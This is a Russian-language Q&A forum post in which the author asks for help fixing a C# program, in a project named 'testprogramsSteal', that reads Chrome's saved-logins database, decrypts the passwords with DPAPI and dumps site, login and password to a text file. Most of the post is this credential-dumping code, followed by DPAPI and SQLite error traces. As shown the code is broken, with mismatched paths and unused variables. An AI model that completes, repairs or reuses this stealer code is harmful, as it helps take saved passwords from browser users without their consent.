@DAnya78

Проблема с расшифровкой паролей, как исправить?

не могу понять в чем проблема
когда стоит библиотека ComponentModel;
ошибка: System.Data.SQLite.SQLiteException (0x800007FF): unable to open database file
при смене на MongoDB.Driver.Core.Authentication.Sspi;
но появляться следующая Unhandled exception. System.Exception: DPAPI was unable to decrypt data.
class Program
    {
        static void Main(string[] args)
        {
            string db_way = @"C:\Users\admin\AppData\Local/Google/Chrome/User Data/Default/Login Data";
            string db_field = "logins";
            byte[] entropy = null;
            string description;  // Неизвестный параметр
            string ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
            var DB = new DataTable();
            string sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", "");
            string fileDb = @"C:\Users\Codeby\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным
            string connectionString = $"Data Source = {fileDb}";
            string fileName = @"C:\Users\Default\Desktop\output.txt"; // Выходной файл с паролями
            StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);
            using (var connection = new SQLiteConnection(ConnectionString))
            {
                var command = new SQLiteCommand(sql, connection);
                var adapter = new SQLiteDataAdapter(command);
                adapter.Fill(DB);
            }
            int rows = DB.Rows.Count;
            Console.WriteLine($"Всего записей: {rows}");

            for (int i = 0; i < rows; i++)
            {
                string url = DB.Rows[i][1].ToString();
                string login = DB.Rows[i][3].ToString();
                byte[] byteArray = (byte[])DB.Rows[i][5];
                byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                string password = new UTF8Encoding(true).GetString(decrypted);
                sw.WriteLine("----------------------------");
                sw.WriteLine($"Номер: {i}");
                sw.WriteLine($"Сайт: {url}");
                sw.WriteLine($"Логин: {login}");
                sw.WriteLine($"Пароль: {password}");
            }
            sw.Close();
            Console.ReadKey();
        }
    }

полностью ошибки
по второй проблеме
Unhandled exception. System.Exception: DPAPI was unable to decrypt data.
---> System.Exception: CryptUnprotectData failed.
---> MongoDB.Driver.Core.Authentication.Sspi.Win32Exception: Exception of type 'MongoDB.Driver.Core.Authentication.Sspi.Win32Exception' was thrown.
--- End of inner exception stack trace ---
at testprogramsSteal.DPAPI.Decrypt(Byte[] cipherTextBytes, Byte[] entropyBytes, String& description) in C:\Users\admin\source\repos\testprogramsSteal\Program.cs:line 346
--- End of inner exception stack trace ---
at testprogramsSteal.DPAPI.Decrypt(Byte[] cipherTextBytes, Byte[] entropyBytes, String& description) in C:\Users\admin\source\repos\testprogramsSteal\Program.cs:line 365
at testprogramsSteal.Program.Main(String[] args) in C:\Users\admin\source\repos\testprogramsSteal\Program.cs:line 45

и по первой
Unhandled exception. System.Exception: DPAPI was unable to decrypt data.
---> System.Exception: CryptUnprotectData failed.
---> System.ComponentModel.Win32Exception (87): Параметр задан неверно.
--- End of inner exception stack trace ---
at testprogramsSteal.DPAPI.Decrypt(Byte[] cipherTextBytes, Byte[] entropyBytes, String& description) in C:\Users\admin\source\repos\testprogramsSteal\Program.cs:line 345
--- End of inner exception stack trace ---
at testprogramsSteal.DPAPI.Decrypt(Byte[] cipherTextBytes, Byte[] entropyBytes, String& description) in C:\Users\admin\source\repos\testprogramsSteal\Program.cs:line 364
at testprogramsSteal.Program.Main(String[] args) in C:\Users\admin\source\repos\testprogramsSteal\Program.cs:line 44
  • Вопрос задан
  • 56 просмотров
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы